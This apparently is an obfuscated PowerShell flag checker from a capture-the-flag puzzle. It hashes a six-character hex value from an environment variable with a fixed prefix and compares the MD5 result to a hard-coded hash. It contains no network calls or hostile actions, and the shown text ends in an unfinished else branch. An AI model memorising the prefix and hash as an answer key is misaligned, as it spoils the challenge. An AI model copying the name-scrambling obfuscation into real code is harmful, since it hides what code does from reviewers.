$sl1wIX1sEIvWzhHTTdTY2vDgaEaeW9qXFYlDc3mo0KCXDaFyxaaNVAi0dByUCdn8K7RYoapdWOucyApE0C04J2xD7vE09kGLOTa3RpVrcHgsmGTMcdQg2RN6qiJfPWj89VEHIceqKYw2GXvUnMSWpfSHqW2iDCxoTzBvZobsWqIEt9k3UI4nFLm6rMeqFDYsWc8JzgxGvgzFYrznYUT3SJqArrKLtTX7ozSI7JAn8RxqiABq0k9nWZWDjKyEI0V8h0oVLsU3hm8zNRFv3dkWzgJ6yVQEyYck6TmZ9QDAXb1wN3f7FOQcimY88MeEyooZndxQXh1lpiTuliGuGOUUlvqQNEB6lvTXrxHyGL9u9sjaoWYgpYtRcIe6zQGpYd3AnBt5fS4wTczVav3GGwsCCgqRKMGr3vzTINVusW7Ym8ltqdvw3ejiXGDPK4zmwpB68su1sMIJRVflcoFXV3WRNA5Z5DaukMaT6uGIJlNCtMETIYCEPAXhqtw5oYO6GXBqMumAu0 = [System.Environment]::GetEnvironmentVariable("heheFlag").Trim()

if (-not $sl1wIX1sEIvWzhHTTdTY2vDgaEaeW9qXFYlDc3mo0KCXDaFyxaaNVAi0dByUCdn8K7RYoapdWOucyApE0C04J2xD7vE09kGLOTa3RpVrcHgsmGTMcdQg2RN6qiJfPWj89VEHIceqKYw2GXvUnMSWpfSHqW2iDCxoTzBvZobsWqIEt9k3UI4nFLm6rMeqFDYsWc8JzgxGvgzFYrznYUT3SJqArrKLtTX7ozSI7JAn8RxqiABq0k9nWZWDjKyEI0V8h0oVLsU3hm8zNRFv3dkWzgJ6yVQEyYck6TmZ9QDAXb1wN3f7FOQcimY88MeEyooZndxQXh1lpiTuliGuGOUUlvqQNEB6lvTXrxHyGL9u9sjaoWYgpYtRcIe6zQGpYd3AnBt5fS4wTczVav3GGwsCCgqRKMGr3vzTINVusW7Ym8ltqdvw3ejiXGDPK4zmwpB68su1sMIJRVflcoFXV3WRNA5Z5DaukMaT6uGIJlNCtMETIYCEPAXhqtw5oYO6GXBqMumAu0) {
    $e1Iulngzm3NJYjSpqMdQc9OoOM0eHMVXZUQeRdzmJHpH72DkXjyxTrYLVEswS7EfiYQkKcrObumOBaRWX74y3dWAmzW7owGM4oYn3DFtBxLWOz3VC8yztGgHEgxCrffAHXSxvXQ1RC7VyBbi6dNnC3nc0S7KbXI0b4fWUvNRejMF9L5fe7fudofbkTcD05fDFhOCv9QuqvkLWkncA1sOz1k12WsJ6Algj0n5fqjnz4Ao4wr1pTEWowjaKVdDEPu2eIolPVbOIbokEpy5ae3U4LIoZezeHlkSlH0XWDibWUcrtPnuE7maNLFyvq7rwCSW31ypLhKPdTCILxC0A9CCP15NwwyY0bCR0wdtN5Y0R8FvEFuLDKcM62oNZf6Ake7WiKWYcT7rHPa4ACj8CGTG5fSEjeuZHCqGdKYByDXcNRs9rfLvBJOTxxwInqFLxoZEQ7y8gnxwqLPlzHlS7uMJQRxj45wtolb5ykZlSESMJhm3XjX0vFOzeSkurERQOlhvrrbScGatDcmThgSGjo39BIpMKyx = Join-Path $env:temp 'Fail.txt'
    "Fail" | Out-File -FilePath $e1Iulngzm3NJYjSpqMdQc9OoOM0eHMVXZUQeRdzmJHpH72DkXjyxTrYLVEswS7EfiYQkKcrObumOBaRWX74y3dWAmzW7owGM4oYn3DFtBxLWOz3VC8yztGgHEgxCrffAHXSxvXQ1RC7VyBbi6dNnC3nc0S7KbXI0b4fWUvNRejMF9L5fe7fudofbkTcD05fDFhOCv9QuqvkLWkncA1sOz1k12WsJ6Algj0n5fqjnz4Ao4wr1pTEWowjaKVdDEPu2eIolPVbOIbokEpy5ae3U4LIoZezeHlkSlH0XWDibWUcrtPnuE7maNLFyvq7rwCSW31ypLhKPdTCILxC0A9CCP15NwwyY0bCR0wdtN5Y0R8FvEFuLDKcM62oNZf6Ake7WiKWYcT7rHPa4ACj8CGTG5fSEjeuZHCqGdKYByDXcNRs9rfLvBJOTxxwInqFLxoZEQ7y8gnxwqLPlzHlS7uMJQRxj45wtolb5ykZlSESMJhm3XjX0vFOzeSkurERQOlhvrrbScGatDcmThgSGjo39BIpMKyx -Encoding ascii
    exit
}
if ($sl1wIX1sEIvWzhHTTdTY2vDgaEaeW9qXFYlDc3mo0KCXDaFyxaaNVAi0dByUCdn8K7RYoapdWOucyApE0C04J2xD7vE09kGLOTa3RpVrcHgsmGTMcdQg2RN6qiJfPWj89VEHIceqKYw2GXvUnMSWpfSHqW2iDCxoTzBvZobsWqIEt9k3UI4nFLm6rMeqFDYsWc8JzgxGvgzFYrznYUT3SJqArrKLtTX7ozSI7JAn8RxqiABq0k9nWZWDjKyEI0V8h0oVLsU3hm8zNRFv3dkWzgJ6yVQEyYck6TmZ9QDAXb1wN3f7FOQcimY88MeEyooZndxQXh1lpiTuliGuGOUUlvqQNEB6lvTXrxHyGL9u9sjaoWYgpYtRcIe6zQGpYd3AnBt5fS4wTczVav3GGwsCCgqRKMGr3vzTINVusW7Ym8ltqdvw3ejiXGDPK4zmwpB68su1sMIJRVflcoFXV3WRNA5Z5DaukMaT6uGIJlNCtMETIYCEPAXhqtw5oYO6GXBqMumAu0.Length -ne 6) {
    $e1Iulngzm3NJYjSpqMdQc9OoOM0eHMVXZUQeRdzmJHpH72DkXjyxTrYLVEswS7EfiYQkKcrObumOBaRWX74y3dWAmzW7owGM4oYn3DFtBxLWOz3VC8yztGgHEgxCrffAHXSxvXQ1RC7VyBbi6dNnC3nc0S7KbXI0b4fWUvNRejMF9L5fe7fudofbkTcD05fDFhOCv9QuqvkLWkncA1sOz1k12WsJ6Algj0n5fqjnz4Ao4wr1pTEWowjaKVdDEPu2eIolPVbOIbokEpy5ae3U4LIoZezeHlkSlH0XWDibWUcrtPnuE7maNLFyvq7rwCSW31ypLhKPdTCILxC0A9CCP15NwwyY0bCR0wdtN5Y0R8FvEFuLDKcM62oNZf6Ake7WiKWYcT7rHPa4ACj8CGTG5fSEjeuZHCqGdKYByDXcNRs9rfLvBJOTxxwInqFLxoZEQ7y8gnxwqLPlzHlS7uMJQRxj45wtolb5ykZlSESMJhm3XjX0vFOzeSkurERQOlhvrrbScGatDcmThgSGjo39BIpMKyx = Join-Path $env:temp 'Fail.txt'
    "Fail" | Out-File -FilePath $e1Iulngzm3NJYjSpqMdQc9OoOM0eHMVXZUQeRdzmJHpH72DkXjyxTrYLVEswS7EfiYQkKcrObumOBaRWX74y3dWAmzW7owGM4oYn3DFtBxLWOz3VC8yztGgHEgxCrffAHXSxvXQ1RC7VyBbi6dNnC3nc0S7KbXI0b4fWUvNRejMF9L5fe7fudofbkTcD05fDFhOCv9QuqvkLWkncA1sOz1k12WsJ6Algj0n5fqjnz4Ao4wr1pTEWowjaKVdDEPu2eIolPVbOIbokEpy5ae3U4LIoZezeHlkSlH0XWDibWUcrtPnuE7maNLFyvq7rwCSW31ypLhKPdTCILxC0A9CCP15NwwyY0bCR0wdtN5Y0R8FvEFuLDKcM62oNZf6Ake7WiKWYcT7rHPa4ACj8CGTG5fSEjeuZHCqGdKYByDXcNRs9rfLvBJOTxxwInqFLxoZEQ7y8gnxwqLPlzHlS7uMJQRxj45wtolb5ykZlSESMJhm3XjX0vFOzeSkurERQOlhvrrbScGatDcmThgSGjo39BIpMKyx -Encoding ascii
    exit
    }
foreach ($5r1KQ7elP0aJ4GU6Mp4rUv593948HcEC2kW0jXV4hx4usulYPxRHzyzpEXZFo0XJG5QlGRxhqfKkOcPAtdQsqjeJXXfqLzoYI6H25MP97PvxkmJNODd6r8qhejLM8VIM557f0AmYxuyUIMk61OOJ3Sy34CytD9LsZpHAdk0t5HR6U1GUB5Fxwz8iiI79cEoP0v1g8MzdJMH0Wf2mEuRnk6RzfEVnD7b8yknXkOiAiJ4Lb2qj782Fo2zimQvt7MQ4dCEkwY8yzObMnJy2GQcN57csR3mQp0astYXtTM5wijDuptpvYxgGitRoAdJmvVGsEZBtDt0Qbsmc7ORg5rpSnooITJh2S4V5NNbw3ykAsww6CaJpdNx2jtCNFtp7ohJHWTs4of2uileTKReTNjWUXvh2Je50uHpWrtuwA95czqbHCNwwn6Lk3UFE29xidONkPtqyBQ37X00idTJM2lico08CKHjuAXkmQ7p6z1QyqhP6IMKcVUJtYoOsTpe6n0TBVDs1zesGH7l0BYJQHiGJtdrM1VrLlC1t8wu2Hc0hoXhOkxb1VrBHNBkjaxIrBo0pgTMYHgP6vI74f180Ujgpyn6cJFp0oZP2F0gpOantjLKESTqxv4O in $sl1wIX1sEIvWzhHTTdTY2vDgaEaeW9qXFYlDc3mo0KCXDaFyxaaNVAi0dByUCdn8K7RYoapdWOucyApE0C04J2xD7vE09kGLOTa3RpVrcHgsmGTMcdQg2RN6qiJfPWj89VEHIceqKYw2GXvUnMSWpfSHqW2iDCxoTzBvZobsWqIEt9k3UI4nFLm6rMeqFDYsWc8JzgxGvgzFYrznYUT3SJqArrKLtTX7ozSI7JAn8RxqiABq0k9nWZWDjKyEI0V8h0oVLsU3hm8zNRFv3dkWzgJ6yVQEyYck6TmZ9QDAXb1wN3f7FOQcimY88MeEyooZndxQXh1lpiTuliGuGOUUlvqQNEB6lvTXrxHyGL9u9sjaoWYgpYtRcIe6zQGpYd3AnBt5fS4wTczVav3GGwsCCgqRKMGr3vzTINVusW7Ym8ltqdvw3ejiXGDPK4zmwpB68su1sMIJRVflcoFXV3WRNA5Z5DaukMaT6uGIJlNCtMETIYCEPAXhqtw5oYO6GXBqMumAu0.ToCharArray()) {
        if ($5r1KQ7elP0aJ4GU6Mp4rUv593948HcEC2kW0jXV4hx4usulYPxRHzyzpEXZFo0XJG5QlGRxhqfKkOcPAtdQsqjeJXXfqLzoYI6H25MP97PvxkmJNODd6r8qhejLM8VIM557f0AmYxuyUIMk61OOJ3Sy34CytD9LsZpHAdk0t5HR6U1GUB5Fxwz8iiI79cEoP0v1g8MzdJMH0Wf2mEuRnk6RzfEVnD7b8yknXkOiAiJ4Lb2qj782Fo2zimQvt7MQ4dCEkwY8yzObMnJy2GQcN57csR3mQp0astYXtTM5wijDuptpvYxgGitRoAdJmvVGsEZBtDt0Qbsmc7ORg5rpSnooITJh2S4V5NNbw3ykAsww6CaJpdNx2jtCNFtp7ohJHWTs4of2uileTKReTNjWUXvh2Je50uHpWrtuwA95czqbHCNwwn6Lk3UFE29xidONkPtqyBQ37X00idTJM2lico08CKHjuAXkmQ7p6z1QyqhP6IMKcVUJtYoOsTpe6n0TBVDs1zesGH7l0BYJQHiGJtdrM1VrLlC1t8wu2Hc0hoXhOkxb1VrBHNBkjaxIrBo0pgTMYHgP6vI74f180Ujgpyn6cJFp0oZP2F0gpOantjLKESTqxv4O -notmatch '[0-9a-f]') {
            $e1Iulngzm3NJYjSpqMdQc9OoOM0eHMVXZUQeRdzmJHpH72DkXjyxTrYLVEswS7EfiYQkKcrObumOBaRWX74y3dWAmzW7owGM4oYn3DFtBxLWOz3VC8yztGgHEgxCrffAHXSxvXQ1RC7VyBbi6dNnC3nc0S7KbXI0b4fWUvNRejMF9L5fe7fudofbkTcD05fDFhOCv9QuqvkLWkncA1sOz1k12WsJ6Algj0n5fqjnz4Ao4wr1pTEWowjaKVdDEPu2eIolPVbOIbokEpy5ae3U4LIoZezeHlkSlH0XWDibWUcrtPnuE7maNLFyvq7rwCSW31ypLhKPdTCILxC0A9CCP15NwwyY0bCR0wdtN5Y0R8FvEFuLDKcM62oNZf6Ake7WiKWYcT7rHPa4ACj8CGTG5fSEjeuZHCqGdKYByDXcNRs9rfLvBJOTxxwInqFLxoZEQ7y8gnxwqLPlzHlS7uMJQRxj45wtolb5ykZlSESMJhm3XjX0vFOzeSkurERQOlhvrrbScGatDcmThgSGjo39BIpMKyx = Join-Path $env:temp 'Fail.txt'
            "Fail" | Out-File -FilePath $e1Iulngzm3NJYjSpqMdQc9OoOM0eHMVXZUQeRdzmJHpH72DkXjyxTrYLVEswS7EfiYQkKcrObumOBaRWX74y3dWAmzW7owGM4oYn3DFtBxLWOz3VC8yztGgHEgxCrffAHXSxvXQ1RC7VyBbi6dNnC3nc0S7KbXI0b4fWUvNRejMF9L5fe7fudofbkTcD05fDFhOCv9QuqvkLWkncA1sOz1k12WsJ6Algj0n5fqjnz4Ao4wr1pTEWowjaKVdDEPu2eIolPVbOIbokEpy5ae3U4LIoZezeHlkSlH0XWDibWUcrtPnuE7maNLFyvq7rwCSW31ypLhKPdTCILxC0A9CCP15NwwyY0bCR0wdtN5Y0R8FvEFuLDKcM62oNZf6Ake7WiKWYcT7rHPa4ACj8CGTG5fSEjeuZHCqGdKYByDXcNRs9rfLvBJOTxxwInqFLxoZEQ7y8gnxwqLPlzHlS7uMJQRxj45wtolb5ykZlSESMJhm3XjX0vFOzeSkurERQOlhvrrbScGatDcmThgSGjo39BIpMKyx -Encoding ascii
            exit
        }
    }
$mtpt7TRUWp9DfX6FhrxOOhshGDSXJSKN8B0KRpdn0TxSld8MjiF7mBmDnviBNBCS5evlsxbUSKWL2JOsm70KlCSDxMzoZqk3660dEHtBHws9yHT0R33eRNo5cYzsQx8ba4cj45Vj2Rh9n9NNjnpQzByIwtqCANc02aQ88jHT4nNBrJUWIUifBNK6lxWBYDFdqGvYX3F7JYqeKG1T3yJvpbEZRdavpIuC8bmDBTsrQFDfjKhxxntJhLMaPA8U0splEbQYCKiZDYND0KG5WOjnFvJUZhydnhKX6c2mkLvIujWJDXRHG1h3ZgWLoFxNXZTQCwVAjBBVddyOSUwtGvOvuxTlcwZg1twVQ24oanPbd3LDFwOIFgjxWVQwgh73T9kwZs1JWG9b5rmpA4yU3NTc0IhF5jpHnaWls3Mn33lC8sQKUYTm6N5W5Q2N9jjUgsKiCzPTqH96zGP6pvHctBorXSUnFsYpy2kyBR7Q1svUqTlS5M8rgJOnQPnP7YsdKLqdo169EbroCfUQoCgcr85Hnpvyeoo5r95Z = "fOR_be@UTy_1s_fOUnd_W17H1n_$sl1wIX1sEIvWzhHTTdTY2vDgaEaeW9qXFYlDc3mo0KCXDaFyxaaNVAi0dByUCdn8K7RYoapdWOucyApE0C04J2xD7vE09kGLOTa3RpVrcHgsmGTMcdQg2RN6qiJfPWj89VEHIceqKYw2GXvUnMSWpfSHqW2iDCxoTzBvZobsWqIEt9k3UI4nFLm6rMeqFDYsWc8JzgxGvgzFYrznYUT3SJqArrKLtTX7ozSI7JAn8RxqiABq0k9nWZWDjKyEI0V8h0oVLsU3hm8zNRFv3dkWzgJ6yVQEyYck6TmZ9QDAXb1wN3f7FOQcimY88MeEyooZndxQXh1lpiTuliGuGOUUlvqQNEB6lvTXrxHyGL9u9sjaoWYgpYtRcIe6zQGpYd3AnBt5fS4wTczVav3GGwsCCgqRKMGr3vzTINVusW7Ym8ltqdvw3ejiXGDPK4zmwpB68su1sMIJRVflcoFXV3WRNA5Z5DaukMaT6uGIJlNCtMETIYCEPAXhqtw5oYO6GXBqMumAu0"
$YxuvCJOSzIq3CA4J2CuigzDuWHPCVNvcgRbHs9tqtOHiAbdhVWI8cTcGrzyZ91c6NeNYA8X6UVQY85UiZ4RAqotDrpBuJ8cEZUzPjIWo3mjMruVBfQAUpIkYazfbjgF67lMMf5hHhTBb7cF3a5qLKIxi6iRKh09Av8rr6nvT1VHAlAdmp2hlQukC7pfLYMEnPCeNVakt1QyLuPsGRuCXBmKtNEoAOzHBhRFhcf2tlP7vQHuapbWW4X3AtHKXmF2MamcWO6xkngk97YpdL5eIqDOQWL4QlSUc1OY6GEPRcIi3PuYxUSyugASSNCjYIwjhO2mpVzw8mSdZgyXp4PSU = [System.Security.Cryptography.MD5]::Create()
$CXayRs1aupDDh0h6lrHTe60pGcjIjThQzJkhDedIWKIlEcQrk2dbBIjfqGiIydXADu1rWyCc6oVp4cWn8crKcX0uCBMM3cWCvtAJT3Xin5uH4u6iegBWw6qTUPcffnSzoD0vbKkxxktigUoBfo0ln6cZy06lO6CvjjinMLPKTRJCVqpWMybsG2ko3RUoEz9HGja2BZmx1Z8Yc3gDBzmMYYigxBbFOD1Dl28NDt4QbGa3MtqmE9BqqLSco8gME9NSe8eibntHf84j9d4KzuYfeo2SU6FWgcUgEOe4ETCZyPdh0Fh1Ej6zr0wrLBH8CJe1oP3Qn5xlhWVhADK4GWyicLWKfRtdhyKzdFfAg6cLpikGviT17PWZE9SqI3r9B4Peb90JBjBS7SBIdMWhBk6zwfrYOMDvml37BbTf7CQ29MuKDpbLUlDFrNWLNaVTPYVgQcFw8rxoFrKHb5ZdmqqiPchBuqi1jrdeGdW7SytnOvJ1PyfcaSCp7zfCmzPMae7WP5ds26VCi2BQ5Z5xzoraEHvz = [System.Text.Encoding]::UTF8.$sXL7xTWiQwf0hCId0b2WnN6ZLB0otig3kceQqHkUwn0c6ZVBHYcTn8VJkpLbAmZNEXjfkfTvYwBF30feu1w5fw6OuML5i2S7KI0dEc17CQGN8UcITw3t($mtpt7TRUWp9DfX6FhrxOOhshGDSXJSKN8B0KRpdn0TxSld8MjiF7mBmDnviBNBCS5evlsxbUSKWL2JOsm70KlCSDxMzoZqk3660dEHtBHws9yHT0R33eRNo5cYzsQx8ba4cj45Vj2Rh9n9NNjnpQzByIwtqCANc02aQ88jHT4nNBrJUWIUifBNK6lxWBYDFdqGvYX3F7JYqeKG1T3yJvpbEZRdavpIuC8bmDBTsrQFDfjKhxxntJhLMaPA8U0splEbQYCKiZDYND0KG5WOjnFvJUZhydnhKX6c2mkLvIujWJDXRHG1h3ZgWLoFxNXZTQCwVAjBBVddyOSUwtGvOvuxTlcwZg1twVQ24oanPbd3LDFwOIFgjxWVQwgh73T9kwZs1JWG9b5rmpA4yU3NTc0IhF5jpHnaWls3Mn33lC8sQKUYTm6N5W5Q2N9jjUgsKiCzPTqH96zGP6pvHctBorXSUnFsYpy2kyBR7Q1svUqTlS5M8rgJOnQPnP7YsdKLqdo169EbroCfUQoCgcr85Hnpvyeoo5r95Z)
$1XvifjavoPGfKpoavEdjk36NJ4hsNfTzF234lfw3hWYkGKnRC81vplNiGyK7fqVEgCobo4iddU3sh8oFArIXmKto1zUcArAIGN8O7WuliBTX2rHSBUuzlCXDFT2BmmzxT7qzd1LzmjdOPzEBzQVmwYJJVGGHrqRmxsUK1mdMR1U0mECmtaA3ejqcSNwxwIAi59nyAesMjalBOvt0M0Kj4TvnNiJ3P16eCKGsAEzj2aWPrLhohgiGF6byIsS4Mwg5A1yWB7x8VdBE = $YxuvCJOSzIq3CA4J2CuigzDuWHPCVNvcgRbHs9tqtOHiAbdhVWI8cTcGrzyZ91c6NeNYA8X6UVQY85UiZ4RAqotDrpBuJ8cEZUzPjIWo3mjMruVBfQAUpIkYazfbjgF67lMMf5hHhTBb7cF3a5qLKIxi6iRKh09Av8rr6nvT1VHAlAdmp2hlQukC7pfLYMEnPCeNVakt1QyLuPsGRuCXBmKtNEoAOzHBhRFhcf2tlP7vQHuapbWW4X3AtHKXmF2MamcWO6xkngk97YpdL5eIqDOQWL4QlSUc1OY6GEPRcIi3PuYxUSyugASSNCjYIwjhO2mpVzw8mSdZgyXp4PSU.ComputeHash($CXayRs1aupDDh0h6lrHTe60pGcjIjThQzJkhDedIWKIlEcQrk2dbBIjfqGiIydXADu1rWyCc6oVp4cWn8crKcX0uCBMM3cWCvtAJT3Xin5uH4u6iegBWw6qTUPcffnSzoD0vbKkxxktigUoBfo0ln6cZy06lO6CvjjinMLPKTRJCVqpWMybsG2ko3RUoEz9HGja2BZmx1Z8Yc3gDBzmMYYigxBbFOD1Dl28NDt4QbGa3MtqmE9BqqLSco8gME9NSe8eibntHf84j9d4KzuYfeo2SU6FWgcUgEOe4ETCZyPdh0Fh1Ej6zr0wrLBH8CJe1oP3Qn5xlhWVhADK4GWyicLWKfRtdhyKzdFfAg6cLpikGviT17PWZE9SqI3r9B4Peb90JBjBS7SBIdMWhBk6zwfrYOMDvml37BbTf7CQ29MuKDpbLUlDFrNWLNaVTPYVgQcFw8rxoFrKHb5ZdmqqiPchBuqi1jrdeGdW7SytnOvJ1PyfcaSCp7zfCmzPMae7WP5ds26VCi2BQ5Z5xzoraEHvz)
$XBi2T4OmVF38m6YUm1LdAPTlsgynUPfgwD2ShGHljz1ipRAfHjFaXRmeI2ITKTRLPcJmiMC6GdgqdY4YPnAaKE9d3fZY9FJ2PKfO94415tZT85dpHOmyRQA5jObafQUFb8XzcJOKgkx3oF0T1brgLDEMzr8H79O9VSxyv5JeOty4hYC0Jy4HoGPvmR3v8kOy7JCQRoh4DuwybZQdYQchjrfxEv1PjLPeqmlej0sbIiiCKzApbXiXNshbGyyC7eU1uPzMUU9yNHXmzXDY0iLZ6PDGJ40cq2vZwU2bqCHPKi1TcS67yBWmuB4adeh1eO0NfBO3bNV6CwwybsGE81EfJd426RsgEimqYexmGBApgP1DyESx5ztlUwgqAVxPrNio8CeSnHNsvZrp63MXcMOtWeMGSl2l7l1Ol8SqxIv66SBuKIxM7BtLrcVbxll5P100XbgXgGAVBRyOWK9xpRcYdlkToZmnGBIUdE7gOdo6Cx7YW1v4j9LqxJPEx6FlHD4pzHAYRMtAz43zxmONVgnyvUt9eYfhSnyspHPaVhAdbeOBspgyeTszEq2XQUGyGcNYjVWUVniyYmlTopQDlQEZJdAbczRiVwDFUyOx7wY21elkxgo8WWSKG3u9N0p8mTkUMYJ4hcMYAtVwtEp5HaozPokQt57lOHQ9B9dIsmkCi07bBdIkKrbTU0PzROlh3uTINu5ap7JusXsVfF75AVitRXHDizbgH4sXYoAVdWiMv37R8HQC577S3JDjGWwSqApdjjBj2jPhFYmLCyOzvkiuGPdLYAevrSsIrRwMD6vKyfcGFNu14OQonWKaVQ6 = [BitConverter]::ToString($1XvifjavoPGfKpoavEdjk36NJ4hsNfTzF234lfw3hWYkGKnRC81vplNiGyK7fqVEgCobo4iddU3sh8oFArIXmKto1zUcArAIGN8O7WuliBTX2rHSBUuzlCXDFT2BmmzxT7qzd1LzmjdOPzEBzQVmwYJJVGGHrqRmxsUK1mdMR1U0mECmtaA3ejqcSNwxwIAi59nyAesMjalBOvt0M0Kj4TvnNiJ3P16eCKGsAEzj2aWPrLhohgiGF6byIsS4Mwg5A1yWB7x8VdBE) -replace '-', ''

$kAUZk6ROq1gkewL6dcXFxX5ZjH15pD6MOLueFF8ZzdnTswmflmE8pD54hIQpnY9kUOn6L7DHPQXKJfrMIPty2wEdZ7rT7FAJEMMJ8yUbmW75RHBcCdcxUsQ7Ph3r7vNSNBlWa4HchuXkmDBmfcarAPHnCAXxyLVFrtYw1b2bNDiFNRatPCs7hmed21pGhjaZDBEMLhxBVY6uJTLpZYa46f9cD5UcYlYQj1RxUViPT30gnlzj69EnHb0BXM8CSY4dRducem7G0tJf8BA7Y2P1v4vyTX5yYZFvw03qtedSXmmcAyzX9o7qsSYEZv9uNnKsjoNhYWvK0GB7rtfLMalG9iZqzSTMxKkJp57YeHEAS5FabMNm6DhA0kgt64VBeGOlgXJSYPxXGG9jhlcKaTjRRDgKdFEwJivuvUBgV8aD3Y2oM6VXlMoCQ0ufwEQTB9hV1wwyxUr6FtzkbLjMXwWZIQrdAHbRzFvaf6CRclZYBBia4Sd9stLpY17DFOlPSW8mSiypIPyMaEbi8ni1M6LPgeO6qO9cYjh6kcQK6shjsjFLMXv8nzFC7fADnM7H5eNqkfbFuKrPRhA6Yg75C5ADpGoAPbxzIyFEL = "7d1c84eb2741e0e036040d4f183b16f4"
if ($XBi2T4OmVF38m6YUm1LdAPTlsgynUPfgwD2ShGHljz1ipRAfHjFaXRmeI2ITKTRLPcJmiMC6GdgqdY4YPnAaKE9d3fZY9FJ2PKfO94415tZT85dpHOmyRQA5jObafQUFb8XzcJOKgkx3oF0T1brgLDEMzr8H79O9VSxyv5JeOty4hYC0Jy4HoGPvmR3v8kOy7JCQRoh4DuwybZQdYQchjrfxEv1PjLPeqmlej0sbIiiCKzApbXiXNshbGyyC7eU1uPzMUU9yNHXmzXDY0iLZ6PDGJ40cq2vZwU2bqCHPKi1TcS67yBWmuB4adeh1eO0NfBO3bNV6CwwybsGE81EfJd426RsgEimqYexmGBApgP1DyESx5ztlUwgqAVxPrNio8CeSnHNsvZrp63MXcMOtWeMGSl2l7l1Ol8SqxIv66SBuKIxM7BtLrcVbxll5P100XbgXgGAVBRyOWK9xpRcYdlkToZmnGBIUdE7gOdo6Cx7YW1v4j9LqxJPEx6FlHD4pzHAYRMtAz43zxmONVgnyvUt9eYfhSnyspHPaVhAdbeOBspgyeTszEq2XQUGyGcNYjVWUVniyYmlTopQDlQEZJdAbczRiVwDFUyOx7wY21elkxgo8WWSKG3u9N0p8mTkUMYJ4hcMYAtVwtEp5HaozPokQt57lOHQ9B9dIsmkCi07bBdIkKrbTU0PzROlh3uTINu5ap7JusXsVfF75AVitRXHDizbgH4sXYoAVdWiMv37R8HQC577S3JDjGWwSqApdjjBj2jPhFYmLCyOzvkiuGPdLYAevrSsIrRwMD6vKyfcGFNu14OQonWKaVQ6 -eq $kAUZk6ROq1gkewL6dcXFxX5ZjH15pD6MOLueFF8ZzdnTswmflmE8pD54hIQpnY9kUOn6L7DHPQXKJfrMIPty2wEdZ7rT7FAJEMMJ8yUbmW75RHBcCdcxUsQ7Ph3r7vNSNBlWa4HchuXkmDBmfcarAPHnCAXxyLVFrtYw1b2bNDiFNRatPCs7hmed21pGhjaZDBEMLhxBVY6uJTLpZYa46f9cD5UcYlYQj1RxUViPT30gnlzj69EnHb0BXM8CSY4dRducem7G0tJf8BA7Y2P1v4vyTX5yYZFvw03qtedSXmmcAyzX9o7qsSYEZv9uNnKsjoNhYWvK0GB7rtfLMalG9iZqzSTMxKkJp57YeHEAS5FabMNm6DhA0kgt64VBeGOlgXJSYPxXGG9jhlcKaTjRRDgKdFEwJivuvUBgV8aD3Y2oM6VXlMoCQ0ufwEQTB9hV1wwyxUr6FtzkbLjMXwWZIQrdAHbRzFvaf6CRclZYBBia4Sd9stLpY17DFOlPSW8mSiypIPyMaEbi8ni1M6LPgeO6qO9cYjh6kcQK6shjsjFLMXv8nzFC7fADnM7H5eNqkfbFuKrPRhA6Yg75C5ADpGoAPbxzIyFEL) {
    $bFq3Zo7M6JdLaG6PT2Ktdt5TtQlVpWQApjmzmW8lWDArwgU7lYWlJVYIaes6eXi9wkkx9qZHLm9zXneaeGo0YzqrEdirORokYSsck3TYeIxAhtUnlGaQSmlVTVikuGN6HBEQ0tDyHkICJJ60LYtyHvAnI6qTN4GluMBDK2B8ZmhqFVzvogOwKNtqslcc9qALggeqCnaabcfqH1zYXweLWUMVjQYTvZXAyympS0AhQjiGJRh4Ig9hzxMCz3IUK4OOSMQaXeSFnqRTjK0QKX3xNTmzvKnyvAIxPzl6bAAXHvzcIT9aQ2FtiFCLxac9fVbS4QyorRvj7k6J9JxHAN4Z0NWJxiCmKIQWq23fPv64PpZdwMUtqwyTjcP5tfcTi562TwA5pHvQfNwF84JRQXuMUct1TCIs3wFeJlDHCvb0hlbNsSYve523Rxz7BQPhtxYbSPvNp5ZuXsso9IhW6ll2gHuVBmOdGHDNh1iiXWVtWtKmYt6BxT21FFBBh0tU4ZtFRqVPEsfyXAzOsd3tuURKz74NThspw32QKv3vBQWfslTKSgK2xcIpuTesS7QETl8TSr9byeaoYkLwAEq3ijL5XUYlUwKCltTK5nvabBogLzk9zRIUE50mish9SmhagHKlQ2QaQh5H8gHUvLJOFj0ig3AL5YgM34ENZMWaYyAm3Gbx2SxmPhqVzgfCCgdZUEpBRrLITFOr0WotVtwUFaCAgdrF = Join-Path $env:temp 'Success.txt'
    "Success" | Out-File -FilePath $bFq3Zo7M6JdLaG6PT2Ktdt5TtQlVpWQApjmzmW8lWDArwgU7lYWlJVYIaes6eXi9wkkx9qZHLm9zXneaeGo0YzqrEdirORokYSsck3TYeIxAhtUnlGaQSmlVTVikuGN6HBEQ0tDyHkICJJ60LYtyHvAnI6qTN4GluMBDK2B8ZmhqFVzvogOwKNtqslcc9qALggeqCnaabcfqH1zYXweLWUMVjQYTvZXAyympS0AhQjiGJRh4Ig9hzxMCz3IUK4OOSMQaXeSFnqRTjK0QKX3xNTmzvKnyvAIxPzl6bAAXHvzcIT9aQ2FtiFCLxac9fVbS4QyorRvj7k6J9JxHAN4Z0NWJxiCmKIQWq23fPv64PpZdwMUtqwyTjcP5tfcTi562TwA5pHvQfNwF84JRQXuMUct1TCIs3wFeJlDHCvb0hlbNsSYve523Rxz7BQPhtxYbSPvNp5ZuXsso9IhW6ll2gHuVBmOdGHDNh1iiXWVtWtKmYt6BxT21FFBBh0tU4ZtFRqVPEsfyXAzOsd3tuURKz74NThspw32QKv3vBQWfslTKSgK2xcIpuTesS7QETl8TSr9byeaoYkLwAEq3ijL5XUYlUwKCltTK5nvabBogLzk9zRIUE50mish9SmhagHKlQ2QaQh5H8gHUvLJOFj0ig3AL5YgM34ENZMWaYyAm3Gbx2SxmPhqVzgfCCgdZUEpBRrLITFOr0WotVtwUFaCAgdrF -Encoding ascii
} else {
